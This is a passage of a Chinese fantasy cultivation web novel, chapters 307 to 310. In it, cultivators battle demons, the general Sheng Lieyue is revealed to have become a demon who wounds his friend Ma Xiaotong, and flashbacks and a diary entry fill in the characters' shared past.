程启风闻言便点点头,身上的衣着迎风而起:“嗯,我做好准备了,我们现在就去讨伐魔物吧。” 余下的士兵也点头,随后拿起了手上的武器,然后跟上了这俩人的步伐,往前走去。 …… 血,滴落在地上。 那股只有魔物才能嗅到的香气正逐渐诱惑着它们,是气运,其命格之鲜美让魔物不由得停顿了一下。 只见那无数的头颅齐齐转过来,直勾勾地盯着盛知许看,它们的贪婪迫使它们不愿意彼此分享这美味的血,只见这些头颅的嘴张开着,似乎在喋喋不休地述说着什么,四周瞬间吵闹了一片。 盛知许看着它,对这些魔物摊开来自己手上的鲜血,而血先前顺着手臂早就流落到了手掌心,如今又沿着指缝滴落而下。 一滴… 两滴…… 三滴……… 头颅的嘴终于停止了运动,好似达成了什么一致,那眼珠子转啊转的,最后,它们就和身体那样挤压彼此起来,肉眼可见的,它们融合着,融为了一个整体。 这是一个巨大的头颅,那颗头颅正在裂开嘴,露出了人类的牙齿,还有那人类的笑容。 “嘻嘻……嘻……” 盛知许淡定地看着这头颅,手上传来的疼痛早已被他所忽视,而他另一只手则拿着一枚护身玉佩,等那魔物过来就用。 万头鬼,不现在是大头鬼了,它就那么被盛知许的血所吸引,然后朝人冲了过来,其速度之快,一时之间竟没人能追得上去。 还是那句话,这就是魔物与饭的羁绊吗? 与此同时,马小桐那边的阵法灵力也传输得差不多了,她当即大喝一声,将手里的法器按于地面上,瞬间,那吸收了灵力的阵法纹路闪烁了起来,并且往前蔓延了去。 随着那魔物脚底下的阵法光亮起,而四周的场景却不知怎的开始变化起来。 盛知许则在这个时候握紧了手里玉佩,就在他准备捏碎它之时,一柄熟悉的长枪刮着他的耳边往前冲去,那道熟悉的身影就那么直直地从后方闯入盛知许的视线。 带着那决然的火,冲于前方。 “杀!!!” 大将军踏火向前。 众将士紧随其后。 …… 哥哥伸出手,想要抓住弟弟的这道身影,但在手指穿过这道身影后,他就什么都明白了。 不,早在盛礼越出现的时候,他就明白了。 这一切,不过都是过去的虚影。 第307章 我们自过去而来 暮光微微,屋檐惊落雨,细珠于枝叶上滑动,最后自空中滴落,滴在了窗边,而小小的盛知许正手捧书卷,着上面的文字。 手边还有一幅未完成的画,画上有长河有大漠有群山……这些景色被人挤挤地画在里头,而左下的空白处却是一笔未落。 而文字里描绘的是大好的河山,壮丽的,孤寂的,悠长的,梦幻的……但是这些盛知许都从未亲眼见过。 这是他日后要继承的江山,可他却从未亲眼见过它们的模样,他只能凭借书籍去描绘其模样。 和他不同,盛礼越可以自在的去游山玩水,最近他就从外边回来没多久,甚至功课上就算不比他优秀也会被表扬,父皇也没有对他投去那份沉重的目光。 是的,沉重。 盛知许有时候是那么觉得的,因为他聪明,他早早就明白自己要肩负着什么责任,而他也知道自己必须要肩负。 偶尔母后也会劝他说多休息一会儿,让他不要太急切了,而他总是笑着面上应着,可在夜深的时候,那灵灯的火总是会燃到深夜。 就在思绪渐渐随着清雨一点一点沉浸时,外头的侍从轻轻敲了敲门,盛知许也回过神来,他转头问:“何事?” “是……”那侍从有些支支吾吾:“是二殿下。” 盛知许略微挑眉,自上次他和那盛礼越说清楚后,盛礼越已经许久没有过来找他了,想来也是想明白或者被自己母妃说明白了。 俩人是竞争关系。 盛知许并不觉得自己比盛礼越差,而且在他看来,这个弟弟有点不聪明的样子,于是他点点头说:“让他进来。” 盛礼越进来了,他看了一眼盛知许,眼里带着些许犹豫,而盛知许根据礼节给对方准备了点心和茶水,而自己已然落座,静候来人。 “…你……”盛礼越似乎想要说点什么,但支支吾吾居然没能说出来。 “你有什么话要和我说?”小小的盛知许拿起茶盏轻吹,抬头看了一眼人,还没长大呢就有这般气势了。 “我想,我想说的是……”盛礼越很显然被盛知许这个气势吓到了,明明之前还很温和的哥哥就这样变了个样:“我们真要这样吗……?” “天家无兄弟。”盛知许回答得很直白:“怎么?你还想继续和我兄友弟恭?” “……”盛礼越没有点头,也没有摇头。 “你再傻也明白,你不争,你背后的人会让你去争。”盛知许瞧着被人保护得很好的盛礼越,不由得心里啧了一声,说不清那是什么情绪,总归是不爽的心情。 “…我们可以悄悄好,悄悄来啊,不被人发现就……”盛礼越还在想着呢,尽管被母妃说了一通,但是面对一起长大的哥哥,他心里还是有一份亲情在的:“到时候谁赢就谁当呗,这有什么的……” 谁赢就谁当? 好天真的一句话。 盛知许听到后就想要笑了,这个弟弟怕是不知道要是他没有争过去,那么就该想想脑袋该丢哪里去了,就算自己不杀他,可手下的人可不会容得下败王的性命。 难得气着了,盛知许将手里的茶杯重重一放,这一放就让盛礼越浑身抖了一下,因为他先前就被母妃训了好几次,所以对于生气的情绪非常敏感。 “真的?那我就不客气了,现在你就拿把剑自刎,我随后就让人去铲除了你母家的势力,好让你这个罪王睡得安安稳稳。”盛知许说得也是气话,他故意的,再说了就算盛礼越真死了,铲除对方的母家势力也不会那么快实施。 “…你…!你怎么能这样?”盛礼越瞪大眼睛,似乎没有想到这个哥哥说出的话这样无情,再天真也明白铲除了母妃那边势力后,他的母妃哪里会有好下场,当即就说:“我母妃做错了什么?!” “哪里都错了。”盛知许懒得和这个弟弟说得太明白,他已经准备让人把人送走了。 “她没有错!!!”盛礼越偏执地说:“我没有错,你也没有错!” 听到这小子还带上他,盛知许不由得再看一眼这份天真,真可惜,可能之后不会再有了:“不必说了,我也有错,我错就错在先前与你交好。” “你的母族是最有权势的,和我一样,我当初就应该松开你的手,让你自个儿在御花园里哭去,再哭天抢地也不关我的事。” 盛知许说得很坚决,当然也是为了让盛礼越脑子清醒一点,要是一直那么不清醒下去,只怕还没等和自己争的时候就早早去了。 盛礼越被盛知许所说的话给弄得呆了,还是那句话,这个哥哥无情得让他浑身不舒服,他喜欢母妃,也喜欢这个哥哥。 就在盛知许转身的时候,他听到那个弟弟极为小声地哭了一句,而这句话听上去只会让人觉得其越发的不懂事:“可是我压根不想当什么皇帝……” “我只想当世上最威武的大将军。” 然后…… 成为朝国百姓的守护神。 因为话本子里都是那么说的。 …… 王大壮是将军手下的兵,虽然不是将军亲手提拔上来的,但是在当兵的时候他就听说过朝国大将军的传说,据说那大将军一柄长枪燃着烈火,让无数邪祟避让,所过之处,荒地里会生长出花草。 其实那是盛礼越的治疗法术在启动,在当将军之前,他好歹也是个救死扶伤的医者呢,虽然是现在已经弃医从武了,但是底子还在呢。 不管如何,在士兵的心里,盛礼越的存在就如同守护神那样,只要有大将军在,那么他们便会所向披靡。 只要有大将军在…… 而这次,王大壮跟着其他兵一起跑啊跑,追着那魔物,对着那魔物亮起手里的武器,虽然很多都不太懂,但是他们知道这种魔物都是会为祸人间的。 铠甲上染着血,手里的兵器因为那魔物有了不少磨损,呼吸急促着,但是他们已然习惯,这里就是战场,而他们就是为国而战的战士。 可尽管如此,他们也会惧怕死亡。 张仁是王大壮的好友,而自从他听到张仁的声音那魔物身上后,整个人都没有好过,好似有一种浑浑噩噩的感觉,但是手上的武器依旧朝着那魔物杀去。 那好友的痛苦声音还在耳边徘徊,这让王大壮无比痛苦,就好像这就是他们的结局那般,恐惧就这样涌上心头,他机械般地杀着那魔物躯体后,就因为不够专心被那魔物扫到一边,这一扫可让人胸口闷痛。 王大壮挣扎着起来,看着手边掉落的武器,他要去拿起武器,士兵不能手无寸铁,因为这样会死的,可他腿有点软,身子也无力了,也不知是怕还是痛的。 就在王大壮想着要不干脆往地上一躺算了的时候,他听到了战场中好似响起了一道熟悉的声音,而这道声音会一如既往地带领着他们取得胜利。 就像每一次的那样。 “杀!!!!” 王大壮骤然瞪大了双眼。 不只是大将军的身影,还有一些幻影出现在四周,他们拿着武器,追随着大将军的身影,朝着前方冲去。 而这其中就有他熟悉的张仁,张仁就这样穿过他的身体,张仁看不见他,也不知道他在看,他只是和每一个战士一样跟随着大将军冲在前面。 “杀!!!”这一次,不是盛礼越喊的声音,而是众将士喊的,他们就这样从过去来到了现在,来到了现在的战场上。 王大壮挣扎地站了起来,正要准备去拿地上武器的时候,他的脚好像碰到了什么,他低头一看,就看到了一枚因为灵力被输入而闪烁的留影石落在脚边。 而这个留影石就在阵法里。 许是阵法的灵力让其吸收了才会突然亮起来吧。 王大壮没有管这枚小小的留影石,他拿起了武器,迈着坚定的步伐往前冲去,和那道曾经并肩作战过的身影一起。 另一边,在目睹场内突然出现无数道幻影的唐山玉等人也不免有些吃惊,但在吃惊过后,他们看到了那魔物在看到冲上前的盛礼越居然往后退了一步。 这也就使得盛知许压根不用捏碎玉佩弄什么防护罩了,因为他的弟弟盛礼越就是他此刻的守护者。 盛知许之所以知道这个盛礼越是假的,是因为他方才并没有感觉到盛礼越的气息,这个盛礼越仿佛就是凭空出现的那般。 而那魔物也被这阵法控制住了,与此同时,盛礼越那边也冲锋陷阵,把那魔物吓得后退了一步,这一步恰好给了所有人攻击它的时间。 就这样,过去与现在,众人就这样轮番在魔物身上使上了所有的武器,甚至不仔细分辨压根看不出哪个是假的。 这就导致魔物更加连连败退,而盛知许也在这个时候用起木系法术,将那魔物的躯体困牢。 由唐山玉和卫朔作为主战力冲上去,他们一起举起剑,朝着这个魔物的躯体刺去,与此同时,唐山玉身边多了另一道影子,那是过去的盛礼越。 “它的核心在脑袋下三寸的地方。” 唐山玉听到盛礼越念了那么一句,下一刻,他举起长剑朝着那个位置刺去,在那一刻燃起的烈火好像是他的,也好像是盛礼越。 只是,唐山玉看到那柄长枪并没有和他一样刺在同一个位置上。 第308章 再见礼越 一剑下去,那核心似血那般红,它冰冷坚硬,像一颗已经坏死掉的心脏,紧接着,核心碎裂开来,随后魔物轰然倒下,而四周的幻象也在这一刻随着那阵法的灵力退去而消散。 唐山玉转头看向那盛礼越,他对这人这些年来也不过是只有几面之缘,他们偶尔公事上会有接触,说过几句公事公办的话,再加上同是火灵根,俩人也会交流过修炼心得。 若说唐山玉运用火偏持续和防护,让其火光燃得更久,他锻炼最多的是用升起的火壁驱散袭来的魔物,并且将要保护的人围在其中。 那么盛礼越运用火偏激进,他将火炽热地燃烧到最后,不杀死魔物誓不罢休,而人们也因此在这场盛大的火光里迎来的平安。 可燃烧殆尽后,留下的只有一地的雪灰,被风轻轻一吹就散了。 如今,唐山玉看到盛礼越的脸上似乎有着不甘心与愤怒,盛礼越方才并没有和他一样攻击在魔物核心上,而是因着什么退开了去。 是什么东西让这一直炽烈向前的火往后退了去。 唐山玉抬头看去,只看到那未散的幻像里,那立于高空的身影,这道身影很小很小,她站于那处,静看着蝼蚁挣扎的好戏码。 随后,这场过去的景象随着那涌出灵力被魔气吞噬而散去。 唐山玉收起了剑,转身朝着盛知许走去,他一边走一边看起四周的情况,士兵们似乎神情有些颓废,和方才那股冲劲不同,这幻象结束后,留给人们的是一片死寂,唯有地上那残血好像还留着他们的温度。 而盛知许站在原地,四周的法术灵力也渐渐散去,他抬起手,摊开手掌心看着自己的血,温热的,正滴落在地板上。 随后,一阵治疗法术轻轻将他的伤口抚去,那里的伤口便被盛知许用法术治愈了,除了那残存的血让人觉得盛知许好似还在受伤。 “此地不宜久留。”唐山玉走过去就开口了:“除了这个魔物外,和它一样厉害的还有另一个,而你的血过于吸引魔物了。” “我明白,我们现在就离开。”盛知许点点头,他从方才起就没什么特别的情绪,随后他抬起手用清洁术清洗一遍落在地上的血。 “至于那个鬼道友,他的身份很可疑,我们要不要找机会逼问……”唐山玉说着,就转头看向那鬼道友,随后他发现这鬼道友正在和卫朔说话。 与此同时,马小桐因为刚刚用了不少灵力,正有点虚脱地坐在地上,她需要缓缓,也需要思考的空间,而她要想的是方才那看到的幻象。 在那些幻象里,她没有看到程启风。 也有可能是因为只是恰好没有录下他,可马小桐却不由得担忧着,盛礼越虽不知生死,但这里曾有着对方存在过的痕迹,可程启风应该会在盛礼越身边才是,不然这偌大的魔城,他还能在哪里呢? 这种时候,她的思绪逐渐往过去的时光里轻轻走去,在曾经的岁月里,盛礼越会给她很多金贵又漂亮的东西,这些东西太容易碎掉了,所以她往往都会说把这些换成吃的吧。 至少吃能吃进肚子里。 而程启风是最温柔的那一个,经常要和她下棋,但是一个瞎子下什么棋啊,这句发问换回了对方一声好玩,马小桐听到这话后就经常和人下棋了,虽然对方经常乱下。 卫朔一如既往,但是今天的他比以往都要沉默,甚至也开始正经起来,并没有再说什么自己死不死的,只想着让她活不活的。 “在?” 马小桐的思绪被唐山玉那一声呼唤拉了回来,她抬起头,她对唐山玉也是只有几面之缘:“啊……要开始动身了吗?我随时可以走,只是方才有些累了。” “是的,差不多了,我只是看你好像不太好,就过来问问,他们都挺忙的。”唐山玉说着,指了指那边正在和队长交谈的盛知许,又指了指正在和鬼道友说话的卫朔。 “…卫朔他在干嘛?”马小桐没想到卫朔居然也在忙人的队伍里,她有些不解。 “不管怎么样,要先起来吗?”唐山玉继续笑着问,并且还对人十分有礼地伸出手:“给你借一下力。” “谢谢你啊……”马小桐刚想抬起手,就看到手上的血,这让她一愣,原来是她方才按在地面上弄到的,然后她就不借力自己先站起来了。 “弄到了吗?我这里有帕子给你擦擦?”唐山玉瞧瞧这手,然后就翻找起乾坤袋,顺便不经意地继续问人:“话说你那个卫朔朋友,他平时那么能说的吗?他拉着那鬼道友已经说了好一会儿了,他们认识?” “…我不知道。”马小桐摇了摇头,然后说:“其实别看我好像和他们很要好,其实有些事情他们都不怎么和我说,整日里也不知道在瞒些什么。” “你知道他们在瞒你?”唐山玉拿出了帕子,然后给马小桐递过去,他也是闲的,毕竟秦兰时那边他暂时还没有感应到其他情况,应该是还在安全地打着。 “我知道,他们可能不知道我知道吧。”马小桐接过那帕子擦了擦,然后就问:“这帕子我要还回去吗?” “不用。”唐山玉摇了摇头:“你继续说说?” “道友,你是不是很闲。”马小桐略有无奈。 “确实。”唐山玉点点头,然后说:“虽然我也可以站着等到结束,但是太安静了我又不喜欢,就过来寻你这个同是闲人的说会话。” “…我的确感觉到他们有在瞒我什么,无非是我帮不上忙的,道友,你会有感觉到自己很没用的时候吗?”马小桐说到这里就很沮丧,她拿出那三枚铜钱掂量在手里:“我明明算到他们就在这里,可我就是找不到他们。” “有。”唐山玉毫不犹豫地点点头:“有的,我一直都觉得自己很没用。” “…啊?你方才那么厉害都觉得自己没用了,那我算什么?”马小桐听到这话,瞬间表示自己不能理解:“你这样让我这种普通人咋办呢?” “再不普通,我也是人啊,只要是人就总会有犯错和无力的时候。”唐山玉笑了笑,继续说:“是人就会累,会难受会想哭,这些都是正常的,无论有多厉害都一样。” “你见过?”马小桐抬头问他。 “对,我见过。”唐山玉点点头,随后又觉不对:“怎么轮到你问我问题了,不应该我问你吗?” “…啊,对哦,好吧,那我接着说,虽然我说我不知道他们瞒我什么,但是我大概猜到一点……事情是从启风突然找礼越那一天开始的。”马小桐说到这里摇了摇头:“想来是一点难言的命数之类。” “我之前就很好奇了,你们问天门信命吗?”唐山玉对于问天门了解不多,不如说他从不去窥探过自己的命,比起有确定性,他更喜欢无知的命数。 “…有信也有不信吧,我是有点信的那一派,但是我也可以不信,这是一种自由嘛。”马小桐说着就叹了口气:“就比如说现在,我真的很想相信我是个天生的问天料子,就像师兄师姐安慰我的那样。” “你这个信的命对自己真好。”唐山玉给人比了个大拇指。 而马小桐也比了个大拇指回去:“信点对自己好的总是开心的,比如我相信礼越和启风一定在我们不知道的地方活着。” “那很好了。”唐山玉也没说丧气话。 “你们在聊什么?”就在这个时候,卫朔过来了,他看了一眼唐山玉,转身就和马小桐说:“该走了。” “在聊信什么命最让自己开心?”马小桐笑了一下就问:“你和那鬼道友聊好了?有聊到什么我可以听的吗?” “…你之后在我身边不要太远。”卫朔默了一下,就开口回答道:“接下来会很危险,还有一只魔物还在附近。” “明白了。”马小桐点点头,然后说:“我会注意安全的。” “那就走吧。”卫朔说完就转过身去,他准备带人往队伍里走去,目前散落的士兵都聚得差不多了。 “谢谢你啊,和你聊那么一下,我心情好很多了。”马小桐转头对唐山玉笑着说:“说起来,道友你怎么称呼,我总不能一直这样喊你吧?万一过会又多出来一个道友怎么办?” “啊,因为某些原因我也要瞒你一下,不过你可以喊我路过道友?”唐山玉微微一笑地说。 “噗,行,路过道友,你也快跟上来吧,我们要继续找人了。”马小桐闻言就忍不住笑出声,这种瞒法倒是光明正大得让人开心。 “好哦。”唐山玉点点头,就准备感应一下秦兰时那边的情况再走,先前的只是浅浅感觉一下,只能感觉到对方是否受伤,不够具体,他现在要深入点感觉一下秦兰时的情绪方面,所以会花几个呼吸间的时间。 就在这几个呼吸间,唐山玉好似感觉到一抹烈日自旁边逼近,他猛地转头看去,是一柄长枪自空中划破而来,这不是虚影,是切切实实存在的攻击。 唐山玉连忙举起剑挡住,可那长枪却只是随意击了他一招后,就转了个角度,往另一边飞去,而那个方向是…… “…马小桐!!!快躲开!!”唐山玉喊出了声,他被击了一下手有点麻,还没等他想明白这力道咋那么猛的时候,他就看到那长枪直直地朝着马小桐那边过去。 马小桐没回头,但是她已经打算要侧身一躲,可就在这一刻,一道身影比那长枪更快地来到了她的身边,而这身影就那么吸引到了马小桐的注意力,而那一瞬间的分神足以让那长枪刺破那胸口,将这残阳吞噬入腹。 那是盛礼越的脸。 那是一张有着盛礼越脸的魔物。 盛礼越变成了魔物。 就在这个时候,她想起来了,自己为何如此坚定觉得还有希望,觉得人还活着,就算经历了方才的幻象也是这样相信着。 是因为盛知许手上那红线正牵引着希望,是那血脉相连的尽头处是盛礼越还活着的希望。 这盛礼越伸出手握住那刺破马小桐胸口的枪头下柄,就那么随意往自己这边一拔,那胸口处的血流得更为猛烈,好似要将所有的希望都流干净那般。 可马小桐在全过程只是看着盛礼越,那身铠甲如今已满是血污,人的瞳孔已成了魔物的红,方才唐山玉给的帕子正随着风飘落,上面染着不知道是谁的血。 而这个盛礼越的视线却追随着那块帕子,并且吞咽了一下,好似看到了什么美味至极的东西那般。 紧接着,在长枪拔出的时候,马小桐的身体再无支撑地往地上倒去,在那之前她伸出手狠狠抓在盛礼越的手臂上,仿佛这是她不甘心的…想要抓住什么的最后挣扎,但最后,无力的指尖沿着那魔物的硬壳上缓缓滑落。 而在这个时候,卫朔提着剑杀了过来,在将那只盛礼越击退的时候,他便伸出手抱住那落下的躯体。 与此同时,唐山玉也拿着剑袭来,这次那盛礼越可谓是被击退得比方才还要远,他四周燃着灵火,眼眸里已然染上那赤裸裸的杀意。 “原来那另一头魔物是你。”唐山玉的语气很确定,说完,四周的火焰又燃高了一丈,方才打那魔物他都没有那么凶,因为在魔城里灵力能省一点就是一点。 随后,剑往前指去,火焰将盛礼越此时此刻的面孔所照亮,盛礼越此时此刻浑身上下由漆黑的魔物硬壳所覆盖,利爪尖牙,还有那贪婪的瞳。 “我知这非你本意,所以,我这就来杀了你,以安你心。” 第309章 他不能这样活 “礼越已经这样好些天了。”马小桐托着脸坐在窗台边上,她就这样仰头,无聊地数着树上那还没掉落下来的叶子。 “毕竟失去了家人,让他静静吧。”程启风坐在旁边,他靠着窗,歪头枕在那窗边,任由那轻风吹拂自己的发丝。 “……”马小桐叹了口气,她侧头看向程启风:“可是他已经静了好些天了,再静下去我都要担心他和卫朔学习点奇怪的东西了。” “这个你放心,他不会这样的。”程启风淡淡地笑了一下,然后说:“在天下的魔未除尽前,他不会轻易寻死的。” “这你又知道。”马小桐哎了一声,问道:“你怎么好像什么都知道?” “我就是知道。”程启风的温柔是淡淡的,像晴日里落下的雪,细腻地将人们的来路所铺平。 就在这时,卫朔打开门进来了,这是他极少不说什么要寻死的话的时候,人也较为沉默:“他要找我们。” 这个他是谁不言而喻。 “他看上去怎么样?”马小桐听到这话连忙地问道。 “…按理说,应该是看上去要死的,但是他还挺能活的。”卫朔用自己的话给马小桐说了一下盛礼越目前的情况。 “…?礼越本来就是活的。”马小桐还是觉得死来死去的话不是很吉利。 程启风略微颔首:“那我们一起过去看看吧。” 总之三人去找了盛礼越,碰巧遇到了从盛礼越房间里出来的盛知许,盛知许看到他们就点点头,随后就让出路侧身从他们旁边走过。 三人没有细问这对兄弟的事,他们直接开门走进去,而盛礼越坐在里面,一身白衣,他正用布擦拭着手上的长枪,而整个人的气质在他们看来转变了许多,少了几分张扬,多了几分沉稳。 “你们来了?”盛礼越并没有放下手中枪,他抬起头看向来人:“坐吧,随意点。” 马小桐唯唯诺诺坐下来了,程启风淡定从容地坐下来了,卫朔沉默寡言地坐下来了。 一时之间,他们没有人开口说话。 最后是盛礼越先开的口:“我打算之后前往朝国北边那里,那里的魔物很多,而我打算长时间待在那里,不会经常回宗门了。” “……你还好吗?”马小桐小心翼翼地问出声。 盛礼越一愣,随后就笑了:“多谢关心,我现在前所未有的好,放心,我知道你在担心什么,在天下魔物都没有死绝之前,我是不会倒下的。” 是仇恨支撑着少年存活了下来,让他得以再次行走于人间,并将其转化为对付魔物的武器。 马小桐知道,那是这个人唯一能选择活下去的理由了。 “所以……”她张了张嘴,口中的腥甜和胸口的疼痛提醒着她方才都发生了什么,但马小桐知道,现在最重要的不是这个。 “杀了他,卫朔。杀了礼越。”马小桐此刻正被卫朔抱在怀里,她的手正无力地抓着卫朔的衣服,声音里涌着无限的恨意,她就如同那一开始被魔物夺去家人的盛礼越,满腔的怒火与无力在此刻彻底地发泄了出来。 “他不能…这样活着,礼越他不能……”马小桐越说越觉得自己的血流得更多,无力感和困意就这样袭来,将她的思维搅得混乱,尽管这样,她也明白一件事:“礼越他不能作为魔物活着。” 而盛知许也在此时来到了马小桐身边,治疗法术落在了马小桐的身上,修复着马小桐身上的伤口,这得以让马小桐有了片刻的喘息。 “杀了礼越吧。”马小桐说到这里就呜咽出声,眼泪和血混在一起,她哭成了个泪人,她自从家人因为寿终正寝哭过后,再也没有哭得这般撕心裂肺。 “……”盛知许张了张嘴想要说让人冷静点这样更好治疗,但是他说不出口,因为他也并非如表面上的这般平静。 卫朔抱着马小桐,缓缓跪坐于地上,他身上的衣服都被血给染红,他咬咬牙,什么也没说,就连眼泪都没有,而是把马小桐塞进盛知许怀里后拿起剑,转身朝着盛礼越那边走去。 与此同时,唐山玉正与那盛礼越打在一起,两者的火焰互相争斗着,只不过盛礼越的火焰偏向暗淡的血色,唐山玉的火焰是夺目的金红。 就算盛礼越变成了魔物,但出于本能使出的枪法让唐山玉非常苦恼,可能是因为剑没有枪长,导致唐山玉在某种方面略逊一筹,不过也不是其他方法。 只见那长枪朝地上扫去之时,唐山玉便立马跃起,随后脚上发力,狠狠地踩在那枪尖上,盛礼越握紧那长枪往他那边拔去,发现没有拔动,随后唐山玉就几步顺着长枪往上踩去,举着剑直直地朝着盛礼越的脖颈砍去。 刹那间,盛礼越的脖子被砍去了一半,但唐山玉发现这人居然还下意识地用治疗法术,脖颈处那砍出的伤口正被人不断地修复,他当即就骂了一句该死的近战奶妈后就看到盛礼越使唤着长枪,用那枪尾直直地朝着唐山玉的脑袋捅去。 唐山玉为了保护脑袋当然松剑一避,随后俩人都距离再次拉开,紧接着,四周的士兵也都举着武器围了过来,他们已然从方才的震惊回过神来。 这让唐山玉有点意外,毕竟变成魔物的是他们的将军,而这些将士们并没有就此崩溃,而是训练有素地根据盛礼越枪法立阵开始进攻。 其中一个得空给唐山玉解释道:“因为将军曾经说过,如果有一天同伴被那该死的魔族变成了魔物,无论那个人是谁,就算是将军。” “我们也要杀了他,这便是我们能为那个人所做的最后一件事。”他说完,也就举起武器,投身于对魔物的讨伐里:“因为……” “不能让肮脏的魔物玷污我们那战死的躯体。” 另一边,盛知许的治疗也来到了重要阶段,在处理完伤口后,最需要处理的是灵力里那些流动的魔气,而马小桐感觉到自己越来越困了。 “…听到我说话吗?”盛知许呼唤着挣扎在生死边缘的人:“别睡,睁开眼看我。” 马小桐唔了一声,努力睁开眼,她看着盛知许,嘴唇动了动,她好似说了点什么,并且手指还指了指自己的胸口处,最后,她露出了一个笑。 盛知许一愣,他没有想到马小桐要说的是这个:“…你先别睡,等你好了再说,没有这个也可以。” 马小桐摇了摇头,并且执着地拉住盛知许的衣服上下晃了几下:“那点不够。” 就在这个时候,鬼道友来到了他们的身边,他微微弯腰,垂着头看着马小桐,他用那难以分辨的嘶哑声音说:“我来吧。” “你……?”盛知许对这个鬼道友还怀有警惕,他看了过去说:“你从方才起就一直看着,怎么现在不旁观了?” 鬼道友没回答这个问题,而是问起了其他:“你对于死劫的了解有多少?” 盛知许一愣,略微挑眉,随后说:“自古以来,死劫不可解,得死劫者宛若判刑,心绪不稳者易入歧途。” “对,书上是这样说的。”鬼道友点点头,然后蹲了下来,抬起手轻轻抚过马小桐的脑袋:“医者以力抗争却难以敌过命数二字。” 马小桐本能地蹭了蹭这只手,她已经是无意识的情况了,而就在这时,鬼道友从她衣服里取出了一个用红绳串着的方形玉佩,那本应分明菱角的边缘因体温与反复抚摸下已然圆润,似那被溪水冲洗多年的鹅卵石。 “此物是礼越赠与她的生辰礼,里头蕴着能毒死魔物的灵水,只需携带者本人运起灵力就可驱动那灵水于掌心然后贴上魔物的躯体,便可将毒素打入魔物的身体里。” “紧接着,魔物的身体会逐渐崩坏,若是由人变成的魔物,那么就会崩坏得更加厉害,而此毒可让人在最后一刻作为人迎接死亡。” 盛知许听到这话,便转头看向马小桐方才那只触碰到盛礼越的手,如今无力垂在一边,而他也想起马小桐刚才说那点毒素不够的话语。 “本来是叫她用去防身的,没想到会用在这里,这何尝不是一段因果呢?”鬼道友的声音很轻,他温柔地点了点马小桐的额头,似在无奈。 …… 玄正782年九月二十五日,天气阴。 我是马小桐,是一个普普通通的器修,如今我已经修炼两百多年啦,虽然都说正经人写什么日记,但是我维持这个习惯好久了,一时之间还改不了。 哎,懒得改了,多有纪念意义。 今日是我们要出发去魔城寻找礼越的第二日,日记是我在路上找时间写的,因为接下来我可能没什么空写这个日记了。 礼越和启风生死不明,我作为他们的朋友理应去把他们找回来,幸好卫朔还在我的身边,这次他没有说什么要找死的话。 这很好,不然我怕我要气上好几天了。 虽然我很普通,实力也不够厉害,我没有礼越的高超医术,也没有启风的高超问天水平,还有卫朔那不怕死的精神和武力值。 我知道,我很弱。 与此同时,我也很害怕,因为魔城很恐怖。 …… 但是我要去找他们回来。 为了我的伙伴我的家人,我可以拥有不怕死的勇气,我觉得我现在就是最强大的……啊啊!我写得好肉麻,说自己不怕死和强大什么的怪不好意思的! ……但是这样写下来,好像没那么害怕了。 好啦。 我要出发了。 就先写到这里吧。 第310章 血莲 生死有命,莫要强求。 死亡是漫长的修行里最难改变的命数。 “就算有安魂的灵草相助,但那只能算是欺瞒上天,只能逃过一时,并不能逃过一世,不过是从那残存命数里抢下来一小段时间罢了,至于能抢多少全看本事,某种意义上也算是躲过了死劫。” “所以,你听明白了吗?秦兰时。”苏岭月冷着脸看着上课睡觉的秦兰时,当即抄起书卷狠狠地往秦兰时脑袋上砸去。 “啊?嗯!听明白了!就是说老天要你死,你早死晚死都要死!”秦兰时的瞌睡虫就这样被这一卷书给敲了走,彼此微凉的风从窗外拂了过来,弄走那夏日的炎炎,窗影含碎阳。 “所以……这早就定好的结局到底有什么意思嘛?”少年摊开手,对此表示不解,在他看来这种对于他来说太遥远了,他可是立志于要在修仙界做大做强的秦兰时,怎么可能死那么快。 “是没意思,只是让你们对于死劫有个初步的概念,还有一些躲避死劫的方法,更多的还是问天门那边比较清楚。”苏岭月见人醒过来了,背着手就回去了,他要继续讲课了。 秦兰时被那么一打岔,也不去做自己秒天秒地的白日梦了,他开始无聊地提笔要在那书本上写写画画,不努力摸鱼的课是没有意思了。 在少年提笔间,笔尖墨落于白纸上,晕染开来…… 就像那血落于地上晕出来的花。 秦兰时侧身躲过齐穗的下一波攻击,不可避免地有些许擦伤,紧接着,他转身挥着剑将那地上长出的尖刺斩断,而鼻尖嗅到了血的味道。 “小七。”那齐穗不紧不慢地笑着,她摸了摸身上被剑打出的伤口,指尖的血被她舔舐了去,随后那伤口便逐渐愈合:“如果你现在乖乖听话,愿意与主人立下契约,成为他的魔物,我们不是不可以让你的小情人留在魔界陪你。” “那我不如去死。”秦兰时果断地拒绝了,那一刻,他觉得自己的死劫也眉清目秀起来了。 不愧是魔修,这种生不如死的法子就这样轻而易举地提出来了。 “可惜。”齐穗叹了口气:“除非我死,不然我不会让你在这里活下来的,背叛者。” 语毕,齐穗不愿再多费唇舌,下一刻,小女孩的身躯似乎膨胀了起来,里头有什么东西在鼓动着,紧接着,而这张蠕动人皮就这样脆弱地裂出了一条口子。 刹那间,一道腐烂的味道扑鼻而来,就像有东西烂掉那样,人皮撕开一个大口子,里头的东西慢吞吞地从这张小小的人皮里钻出,它一开始肢体还没舒展开来,等那对虫翅展开之前,秦兰时已经率先举着剑冲了过来。 他要打断变身!! 可对方岂会没有想到这一点呢?就在秦兰时举着剑过来的时候,不知何时冲出了几只狼型魔物朝着秦兰时扑了过来。 秦兰时被扑了一个准,就那么倒在了另一边的地上,他也在同时举起剑挡住了那朝他撕咬过来的狼牙,脚上一个发力很好狠狠踹在了魔狼的肚子上,那几头魔狼在那一瞬间全被秦兰时踹飞了出去。 与此同时,齐穗也将自己的身躯彻底舒展开来,她的上半身是人身,下半身则是虫子的模样,虫足立于地上,虫翅上还有着些许从人皮里带出的残液。 甚至她的面孔不再是小姑娘的模样,身子也亦然变成了窈窕少女的青涩,齐穗睁开眼,那双虫眼轻轻地扫过秦兰时所在的地方,她微微张口,吐出那那独特的长舌和露出虫的尖齿。 “你既决心已定,那便战吧。”齐穗似乎很是熟练这种模式,她的利爪已经亮起其锋利:“要么你死,要么我活。” 秦兰时抬起手,地上的那被斩断的藤蔓再次蠕动起来,并且似乎要再次焕发出生机,但是又因为四周的魔气枯竭了下去。 “……”还没等秦兰时有什么其他动作,紧接着,齐穗已经扇动着虫翅接近了过来,那利刺狠狠地朝着秦兰时所在的地方捅去。 秦兰时当即一躲,这一躲就躲到了那边魔狼那里,魔狼还没缓过来就被秦兰时踹了过去,而恰好齐穗也追了过来,那几只魔狼就这样被踹到了她的怀里。 